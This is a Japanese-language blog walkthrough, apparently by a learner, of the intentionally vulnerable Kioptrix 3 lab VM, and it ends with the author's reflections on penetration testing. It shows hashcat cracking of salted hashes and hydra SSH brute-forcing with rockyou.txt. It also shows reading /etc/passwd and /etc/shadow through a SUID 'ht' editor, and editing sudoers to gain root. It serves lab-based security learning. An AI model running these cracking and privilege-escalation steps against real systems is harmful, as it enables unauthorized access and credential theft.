OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha1($pass.$salt)
Hash.Target......: 318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2Pewh...c5Ub73
Time.Started.....: Mon Sep 21 17:07:38 2020 (14 secs)
Time.Estimated...: Mon Sep 21 17:07:52 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 870.6 kH/s (0.59ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10834944/14344385 (75.53%)
Rejected.........: 0/10834944 (0.00%)
Restore.Point....: 10833920/14344385 (75.53%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: MasterFlick -> Martin@07
Started: Mon Sep 21 17:07:35 2020
Stopped: Mon Sep 21 17:07:54 2020
ちなみに、rockyou.txtはgzipで圧縮されていたので回答してから使用。
指定したオプションは以下の要領とGoogle先生で確認。
SHA1でもいろいろなパターンがあったが、ソースコードで確認ずみだったのであまり困らずに
「110」を指定できた。
kali@kali:~$ hashcat -h
hashcat (v6.0.0) starting...
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
- [ Hash modes ] -
# | Name | Category
======+==================================================+======================================
...
100 | SHA1 | Raw Hash
...
110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated
120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
19300 | sha1($salt1.$pass.$salt2) | Raw Hash, Salted and/or Iterated
14400 | sha1(CX) | Raw Hash, Salted and/or Iterated
4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated
4710 | sha1(md5($pass).$salt) | Raw Hash, Salted and/or Iterated
21100 | sha1(md5($pass.$salt)) | Raw Hash, Salted and/or Iterated
18500 | sha1(md5(md5($pass))) | Raw Hash, Salted and/or Iterated
4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
テキストのパスワードは「Mast3r」。
最初は「Status...........: Cracked」になってるのはわかったが、パスワードの確認方法がよくわからなかったけど、調べていると下記の部分が結果っぽいことが判明。
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
さっそく、ログインページで入力する。ユーザー名は「admin」または「administrator」で試してみる。
ログイン成功！
だが、ここで行き詰まる。。。 何をすればよいのか。 FileManager というプラグイン？でファイル作成・削除、権限の変更などはできそうだったが、permission 0777 にしてもプロンプトからの実行がうまくできなかった。
違うのか。。。
とりあえずプロンプトに戻って、おきまりのファイルを覗いてみる。
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
見れますやんｗ ハッシュは？？
cat /etc/shadow
見れない。見れるように変更できるか？
ls -l /etc/shadow
-rw-r----- 1 root shadow 794 Apr 18 2011 /etc/shadow
usermod -aG shadow www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
追加できない。やはりroot権限が必要なのか。
手がかりを探しにユーザーのhomeディレクトリを見てみる。
ls -la /home/loneferret
total 64
drwxr-xr-x 3 loneferret loneferret 4096 Apr 17 2011 .
drwxr-xr-x 5 root root 4096 Apr 16 2011 ..
-rw-r--r-- 1 loneferret users 13 Apr 18 2011 .bash_history
-rw-r--r-- 1 loneferret loneferret 220 Apr 11 2011 .bash_logout
-rw-r--r-- 1 loneferret loneferret 2940 Apr 11 2011 .bashrc
-rw------- 1 root root 15 Apr 15 2011 .nano_history
-rw-r--r-- 1 loneferret loneferret 586 Apr 11 2011 .profile
drwx------ 2 loneferret loneferret 4096 Apr 14 2011 .ssh
-rw-r--r-- 1 loneferret loneferret 0 Apr 11 2011 .sudo_as_admin_successful
-rw-r--r-- 1 root root 224 Apr 16 2011 CompanyPolicy.README
-rwxrwxr-x 1 root root 26275 Jan 12 2011 checksec.sh
.sshディレクトリがあることを発見。 sshでログインするために再度パスワードクラッキングを試してみる。
hydraが良さそう？なため、試してみる。
https://tools.kali.org/password-attacks/hydra
例に記載のあるコマンドを試す。しばらく眺めていると、あることに気がつく。
試すパスワードは14,344,321個。 54 tries/min だと、単純計算して265635.5 分、つまり4427時間、つまり184日かかる！ これはあまりにも長すぎるので、スレッド数を増やしてみる。
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 6 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:36:44
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 14344321 to do in 3065:02h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:03h, 14344237 to do in 4427:15h, 6 active
^C
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
適当に100を指定する。
ali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 100 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[ERROR] Option -t needs to be a number between 1 and 64
１〜６４まで指定可能みたいなので、最大の64を指定する。
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 64 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[22][ssh] host: 10.10.10.5 login: loneferret password: starwars
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-22 01:42:20
お！ もしかして成功？？ パスワード「starwars」でsshログインを試す。
@kali:~$ ssh loneferret@10.10.10.5
loneferret@10.10.10.5's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
よし！ ログイン成功！ root権限でrootパスワード変更ができるか試していく。
loneferret@Kioptrix3:~$ sudo passwd root
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/usr/bin/passwd root' as root on Kioptrix3.
loneferret@Kioptrix3:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
loneferret@Kioptrix3:~$ sudo cat /etc/sudoers
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/cat /etc/sudoers' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/su -' as root on Kioptrix3.
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
だめ。ヒントを探していく。
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
checksec.shは中身をみてもよくわからなかった。CompanyPolicy.READMEは気になる文言があった。
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
「sudo ht」を使えと書いてあるので試す。
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
Googleで「Error opening terminal: xterm-256color.」を検索。
export TERM=xterm-color
で解決するようなので試す。
loneferret@Kioptrix3:~$ export TERM=xterm-color
loneferret@Kioptrix3:~$ sudo ht
エディタ？のようなものが表示されたが、数字キーを押してもエンターキーを押しても反応なし。
Ctrl+cで一度終了させる。 htについて調べてみる。
SUIDとかGUIDとかは危ない
loneferret@Kioptrix3:~$ ls -la /usr/local/bin/ht
-rwsr-sr-x 1 root root 2072344 2011-04-16 07:26 /usr/local/bin/ht
SUIDとGUIDがsetされている。「s」はexecute bitがセットされている状態。
execute bit がセットされているとそのファイルのownerまたはowner's groupで実行できる。上記の例でいうと、htのownerはrootのため、rootの権限で実行できるはず。
ちなみにexecute bitがset されていない場合は「S」(大文字のS）になるとのこと。
SUIDとGUIDについて
https://www.tutorialspoint.com/unix/unix-file-permission.htm
とういことで、ハッシュファイルを見てみようｗ
loneferret@Kioptrix3:~$ sudo ht /etc/shadow
パスワードクラッキング・アゲイン
見れた！！２つ目のフィールドがパスワードハッシュ。rootのハッシュも見れる。
エディタを使って手作業でハッシュを抜き出す。
/etc/shadowファイルの見方
https://linuc.org/study/knowledge/510/
kali@kali:~$ vi newhash.txt
（ここで表示されている内容をコピペして不要な箇所を削除）
kali@kali:~$ cat newhash.txt
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
つぎに、linux で使用されているパスワードのハッシュアルゴリズムをGoogleで検索。
すると下記のような情報を入手できた。これは幸いかもしれない。
If salt is a character string starting with the characters "$id$" followed by a string optionally terminated by "$", then the result has the form:
$id$salt$encrypted
id identifies the encryption method used instead of DES and this then determines how the rest of the password string is interpreted. The following values of id are supported:ID | Method
─────────────────────────────────────────────────────────
1 | MD5
2a | Blowfish (not in mainline glibc; added in some
| Linux distributions)
5 | SHA-256 (since glibc 2.7)
6 | SHA-512 (since glibc 2.7)
ということは、
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
は
Hash Algorithm: MD5
Salt: QAKvVJey
Hash: 6rRkAMGKq1u62yfDaenUr1
という容量で読み取れるはず。 なるほど、勉強になるなぁ。
あとは、saltの使用方法が知れれば、、、。
loneferret@Kioptrix3:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
Modern Linux has long since moved to /etc/shadow, and for some time now has used salted MD5-based hashes for password verification (crypt id 1). Since MD5 is considered "broken" for some uses and as computational power available to perform brute-forcing of MD5 increases, Ubuntu 8.10 and later proactively moved to using salted SHA-512 based password hashes (crypt id 6), which are orders of magnitude more difficult to brute-force. See the crypt manpage for additional details.
Ubuntu Security Features (Historical) - Password Hashing
https://wiki.ubuntu.com/Security/Features/Historical#hashing
もっと調べる。
The Unix standard algorithm crypt and the MD5-based BSD password algorithm 1 and ...
Ubuntu man page for passwd
http://manpages.ubuntu.com/manpages/trusty/man1/passwd.1ssl.html
うん、わからん。 salt+passwordなのか、password+saltなのか、salt+password+saltなのか。 hashcatのヘルプのオプションでもたくさんあるので。。。
なので、適当にpassword+saltで行ってみる。 確認方法をご存知の方はぜひ教えて下さい。 dictionaryはビンゴなファイル名のものがあったのでそれでいく（unix_passwords.txt)
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashfile 'newhash.txt' on line 1 ($1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1): Separator unmatched
No hashes loaded.
Started: Tue Sep 22 10:37:31 2020
Stopped: Tue Sep 22 10:37:31 2020
hashの表記がだめっぽいので下記に修正して再度トライする。
kali@kali:~$ cp newhash.txt newhash2.txt
kali@kali:~$ vi newhash2.txt
kali@kali:~$ cat newhash2.txt
6rRkAMGKq1u62yfDaenUr1:QAKvVJey
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Token length exception
No hashes loaded.
Started: Tue Sep 22 10:40:33 2020
Stopped: Tue Sep 22 10:40:33 2020
あれ？ エラーになった。 何がおかしい？？
Hash modeがおかしいのかも？と思い、違うモードで試す。
選択肢を確認。
kali@kali:~$ hashcat -h | grep MD5
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
50 | HMAC-MD5 (key = $pass) | Raw Hash, Authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash, Authenticated
11900 | PBKDF2-HMAC-MD5 | Generic KDF
11400 | SIP digest authentication (MD5) | Network Protocols
5300 | IKE-PSK MD5 | Network Protocols
10200 | CRAM-MD5 | Network Protocols
4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocols
11100 | PostgreSQL CRAM (MD5) | Network Protocols
19000 | QNX /etc/shadow (MD5) | Operating System
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System
2410 | Cisco-ASA MD5 | Operating System
2400 | Cisco-PIX MD5 | Operating System
16400 | CRAM-MD5 Dovecot | FTP, HTTP, SMTP, LDAP Server
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
22500 | MultiBit Classic .key (MD5) | Password Managers
Wordlist + Rules | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
Brute-Force | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
Combinator | MD5 | hashcat -a 1 -m 0 example0.hash example.dict example.dict
なんとなく500がよさそう？
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Separator unmatched
No hashes loaded.
Started: Tue Sep 22 10:48:06 2020
Stopped: Tue Sep 22 10:48:06 2020
ん？ セパレータがおかしい？？ もしかして、$id$salt$hash形式で指定するのかも？
と思い、編集前のハッシュ（/etc/shadowに登録されている内容）で試す。
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/metasploit/unix_passwords.txt
* Passwords.: 1009
* Bytes.....: 7883
* Keyspace..: 1009
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:58:16 2020 (1 sec)
Time.Estimated...: Tue Sep 22 12:58:17 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/metasploit/unix_passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1023 H/s (11.55ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1009/1009 (100.00%)
Rejected.........: 0/1009 (0.00%)
Restore.Point....: 1009/1009 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: vagrant -> vagrant
Started: Tue Sep 22 12:58:12 2020
Stopped: Tue Sep 22 12:58:19 2020
動いたけど、ヒットなし。
rockyou.txtで試す。
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (28 mins, 37 secs)
Time.Estimated...: Tue Sep 22 14:22:37 2020 (54 mins, 42 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2961 H/s (5.59ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 4625824/14344385 (32.25%)
Rejected.........: 0/4625824 (0.00%)
Restore.Point....: 4625824/14344385 (32.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[706c616432380000] -> $HEX[706c6163746f6e5f323140686f74616d61696c2e636f6d]
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (41 mins, 21 secs)
Time.Estimated...: Tue Sep 22 14:16:48 2020 (36 mins, 9 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3351 H/s (4.43ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 7074944/14344385 (49.32%)
Rejected.........: 0/7074944 (0.00%)
Restore.Point....: 7074944/14344385 (49.32%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: jenize -> jenixa16
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (1 hour, 21 mins)
Time.Estimated...: Tue Sep 22 14:20:55 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2740 H/s (5.20ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[042a0337c2a156616d6f732103] -> $HEX[042a0337c2a156616d6f732103]
Started: Tue Sep 22 12:59:15 2020
Stopped: Tue Sep 22 14:21:00 2020
うわっ！ めちゃめちゃ時間かかった(約1時間20分)のに失敗した。。。
これは色々試すのしんどすぎ、、、というかマジ無理。。。
こんなパワープレイではなくても行けると思うんだが。。。
htエディター
しばし、振り返る。
やっぱり怪しいのは「ht」というエディター。
ファイル作成できるか書いている割に操作できないのは謎すぎる。
virtualboxのvmなのでもしかするとキーボード周りがうまくなくて、操作できてないだけかも？
もしくは、host OSがmacだからFunctionキーとかうまくないのか？？
調べてみると、virtualboxには「Input -> Keyboard -> Soft keyboard」が存在することが判明。 これでもしかしたら行けるかも？
行ける！ いけるぞ！ ファイルが開けそうな感じの画面になった！！ 少なくとも、何も操作できない状態から脱出できた！！ くっそー。 返せ、俺の時間。。。
神化
こうなると、sudoersにloneferretユーザーを追加したくなる。
試していく！！
sudoersについて
https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file
こんな感じ？ エンターキーを強打！
きたー！！！！！ もらった！！
loneferretの設定が入っているのでコメントアウトして、以下を追記するっと。
loneferret ALL=(ALL) ALL
これで神になれるはず。
F2キー(ソフト）、F10キー(ソフト）でターミナルに戻る。
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret:
root@Kioptrix3:~#
神化成功！
root@Kioptrix3:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
長かったーーーー。長かった。。。。。。。。。
めちゃめちゃ嬉しい！
ふとホームディレクトリがきになったので見てみる。
root@Kioptrix3:~# ls
Congrats.txt ht-2.0.18
おめでとうメッセージがある(Congrats)
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
root@Kioptrix3:~#
kioptrixからのメッセージがあった!!
なんか少し感動。 ほんとうにありがとう！！
振り返り
今回も"easy"モードなはずなのにめちゃめちゃ苦労した感じが否めない。
何度も壁にぶつかり、諦めず、前に進めなくなったら一度立ち止まり、戻りながら進んだことが結果につながったのがポイントだと思う。
また、Pen test用の新しいツールの使い方やLinux設定周りの確認、OSSでのphpやHTML, JavaScriptのソースコードを理解することなどが勉強になった気がするし、すごく充実感がある。
ただ、今回のターゲットはkioptrixが"わざと"作ったVMだと事前に知っていること、そしてヒントを仕込んでいてくれているとわかっていることはかなり大きかったと思う。
例えば、実際にPenetration testを行うことになったとする。
そのときに、今回のように立ち止まって戻ることは本当にできるのかどうか。見落としなく「安全」と言えるのかどうか。
事前にVulnerabilityのチェックリストを作成して、OK、NGで結果を記入することになると思う。 OKと書いた箇所に自信をもって「安全」と言えるのか。想像すると、膨大な知識と経験が必要な気がする。。。
また、今回自分が経験したBrute-forceによるパスワードクラッキングはあまり有効な手段ではないのかもしれない。
Hashアルゴリズム、パスワードハッシュ、salt、saltの使用方法までわかっていればなんとかなるかもしれないが、それでも長時間かけてクラッキング失敗の可能性は十分ある。
知識も知識もまったくないが、「パスワードディクショナリとしてrockyou.txtに記載されているパスワードを使用しました。straightforward、および○○○のルールを使用したパスワード強度調査に対しては脆弱性は見つかりませんでした」とかって報告をすることになるのかな？
Penetration test
https://en.wikipedia.org/wiki/Penetration_test